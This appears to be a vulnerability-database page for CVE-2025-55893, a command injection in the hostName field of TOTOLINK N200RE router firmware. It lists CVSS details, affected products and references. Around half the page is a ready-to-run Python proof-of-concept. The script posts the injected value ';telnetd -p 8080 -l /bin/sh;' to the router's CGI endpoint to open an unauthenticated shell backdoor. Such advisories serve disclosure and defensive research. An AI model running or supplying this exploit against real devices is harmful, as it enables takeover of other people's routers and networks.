CVE-2025-55893

Description

TOTOLINK N200RE V9.3.5u.6437_B20230519 is vulnerable to command Injection in setOpModeCfg via hostName.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:totolink:n200re_firmware:9.3.5u.6437_b20230519:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:totolink:n200re:-:*:*:*:*:*:*:* - NOT VULNERABLE

TOTOLINK N200RE V9.3.5u.6437_B20230519

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-55893 PoC - TOTOLINK N200RE Command Injection
# Target: TOTOLINK N200RE V9.3.5u.6437_B20230519
# Endpoint: /cgi-bin/cstecgi.cgi

target_ip = "192.168.0.1"  # Default router IP
target_url = f"http://{target_ip}/cgi-bin/cstecgi.cgi"

# Malicious payload to inject command
# Using telnetd to create a backdoor connection
payload = {
    "topicurl": "setOpModeCfg",
    "hostName": ";telnetd -p 8080 -l /bin/sh;"  # Command injection payload
}

headers = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0"
}

try:
    print(f"[*] Sending exploit to {target_url}")
    print(f"[*] Payload: {payload['hostName']}")
    
    response = requests.post(target_url, json=payload, headers=headers, timeout=10)
    
    print(f"[+] Response Status: {response.status_code}")
    print(f"[+] Response: {response.text}")
    
    if response.status_code == 200:
        print("[+] Exploit sent successfully!")
        print("[+] Telnet backdoor should be active on port 8080")
        
except requests.exceptions.RequestException as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-55893
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-55893
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-55893/
[4] VulDB https://vuldb.com/cve/CVE-2025-55893
[5] https://github.com/l0tk3/CVES/blob/main/CVE-2025-55893.pdf
[6] https://www.totolink.net/

Raw JSON Data

JSON

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